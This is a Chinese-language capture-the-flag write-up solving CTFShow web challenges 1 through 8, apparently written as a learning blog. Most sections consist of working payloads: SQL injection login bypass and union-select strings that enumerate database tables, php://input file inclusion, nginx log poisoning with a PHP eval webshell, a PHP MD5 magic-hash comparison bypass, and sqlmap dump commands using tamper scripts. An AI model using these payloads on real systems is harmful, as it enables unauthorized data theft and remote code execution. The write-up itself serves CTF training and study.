CTFShow-Web篇详细wp
- web签到题
 - web2
 - web3
 - web4
 - web5
 - web6
 - web7
 - web8
 
CTFShow 平台:https://ctf.show/
web签到题
直接F12然后Base64解码

ctfshow{19bdf375-f974-481e-8c62-0f4c3d170fb4}
web2
考点:联合查询
先尝试使用万能密码登入 ‘ or 1=1# 登入成功!!

 
 ’or 1=1 order by 3# 输入4没回显说明只有三个字段
 

' or 1=1 union select 1,database(),3#    爆破数据库为web2
 

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 #  爆破表web2
 

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 0,1),3#   爆字段
 

' or 1=1 union select 1,(select flag from flag limit 0,1),3#  查询内容
 
ctfshow{3e0dc92c-052f-4740-98f5-2ecdf8614a84}
web3
考点:伪协议

 测试一下存在文件包含漏洞抓个包 使用php://input 得到了ctf_go_go_go 直接读取即可。

 
 
ctfshow{4dce862e-bd78-4ff2-b933-9798d391a276}
web4
考点:日志注入 文件包含
这里和上面一题差不多只是这么过滤了php://inpt 给的提示是日志注入 我们先来尝试一下:?url=/var/login/nginx/access.log 成功!

 
ok我们继续抓个包看看尝试传个木马能不能getshell <?php @eval($_POST['a']);?> 尝试蚁剑连接ok连接成功!!

 

ctfshow{4873a70e-7d9d-456d-8eef-4a5a541c0e37}
web5
考点:代码审计(md5绕过)
where is flag?
<?php
error_reporting(0);
    
?>
<html lang="zh-CN">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>
</body>
</html>
 
ctype_alpha用来检测是否只含有字符,不是则为false
 is_numeric用于检测是否是纯数字
这里输入v1,v2的值,v1为字符,v2为数字 然后让他们的md5的值相等即可输出flag
 这里是一个弱类型比较在PHP中0e会被当做科学计数法 前两位相等即可完成绕过
开头为0E(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
 
Payload:?v1=EEIZDOI&v2=4011627063

ctfshow{0704b7e0-d2e9-461f-9967-e086e185402e}
web6
考点:SQL注入(空格绕过)
 又是这个熟悉的框 老样子尝试万能密码 发现报错!
 
 
 SQL绕过知识点(第一次做,这里使用 /**/)
和web2一样继续使用联合查询注入/**/替换即可。
1'/**/union/**/select/**/1,2,3#  查询位置 在第二个字段
 

1'/**/union/**/select/**/1,database(),3#  爆破库 web2数据库
 

1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#  爆破表
 

1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/#  爆字段
 

1'/**/union/**/select/**/1,flag,3/**/from/**/flag/**/#  查看flag内容
 

ctfshow{3e29853a-156e-483e-86c5-480c2aea5ddc}
web7
考点:盲注&sqlmap的使用
 
 
 这里随便点了一下发现存在id=1 存在注入点 这里盲注不会 直接使用工具吧(我是菜鸡,没办法)
Sqlmap基础:
sqlmap -u "url"结束以后会得到该⽹站的数据库、操作系统、服务器等版本信息sqlmap -u "url" --dbs如果存在漏洞可以使用以下命令注出当前网站下所有数据库名sqlmap -u "url" -D 数据库名 --tables列出数据库下的所有表名sqlmap -u "url" -D 数据库名 -T 表名 --columns列出所有指定列数sqlmap -u "url" -D 数据库名 -T 表名 -C 列名 --dump读取字段下面得信息 比如flag等。--batch命令可以自动跳过选择项,按默认选项注入就是帮你一直yes
Sqlmap进阶(脚本):
线程和nmap得T4一样的sqlmap有5级,越高检测越全,默认为 1
–level 1 检测Get和Post–level 2 检测HTTP Cookie–level 3检测User-Agent和Referer–level 4 检测–level 5 检测 HOST 头--tamper脚本-p TESTPARAMETER #指定需要测试的参数--skip=SKIP #指定要跳过的参数--dbms=DBMS #指定 DBMS 类型(例如:MySQL)--os=OS #指定 DBMS 服务器的操作系统类型--prefix=PREFIX #注入 payload 的前缀字符串--suffix=SUFFIX #注入 payload 的后缀字符串--tamper=TAMPER #用给定脚本修改注入数据
🆗这里简单介绍了一下怎么使用 具体脚本大家可以自己百度搜一下 这里使用randomcomments模块 空格绕过/**/

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch --dbs  #列出库
 

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch -D web7 --tables  #列出表
 

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag --columns  #列出字段
 

sqlmap -u "http://8b540425-2755-465b-a28d-d1ba3ca879bc.challenge.ctf.show/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag -C flag --dump#查询字段内容
 

ctfshow{f534b781-af47-4c46-9ece-3a905c11cd96}
web8
考点:布尔盲注
 这里过滤了空格和逗号

















